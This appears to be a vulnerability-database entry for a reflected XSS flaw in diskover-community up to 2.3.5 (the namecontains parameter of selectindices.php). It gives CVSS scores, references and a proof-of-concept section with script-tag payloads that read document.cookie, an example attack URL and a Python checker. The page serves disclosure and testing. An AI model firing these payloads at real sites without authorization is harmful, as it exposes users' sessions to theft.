CVE-2026-38936

Description

A reflected cross-site scripting (XSS) vulnerability exists in diskover-community <= 2.3.5 in public/selectindices.php via the namecontains parameter

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

diskover-community <= 2.3.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-38936
# Target: diskover-community <= 2.3.5
# Endpoint: /public/selectindices.php
# Parameter: namecontains

# Payload to test:
# <script>alert('XSS')</script>

# Example URL:
# http://[TARGET_IP]/public/selectindices.php?namecontains=<script>alert(document.cookie)</script>

# Python request example:
import requests

target_url = "http://localhost/public/selectindices.php"
payload = "<script>alert(document.cookie)</script>"
params = {"namecontains": payload}

response = requests.get(target_url, params=params)
if payload in response.text:
    print("Vulnerable to Reflected XSS")
else:
    print("Not vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-38936
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-38936
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-38936/
[4] VulDB https://vuldb.com/cve/CVE-2026-38936
[5] http://diskover-community.com
[6] http://diskoverdata.com
[7] https://github.com/VadlaReddySai/diskoverdata-cve-writeups/blob/main/CVE-2026-38936
[8] https://github.com/VadlaReddySai/diskoverdata-cve-writeups/blob/main/CVE-2026-38936

Raw JSON Data

JSON

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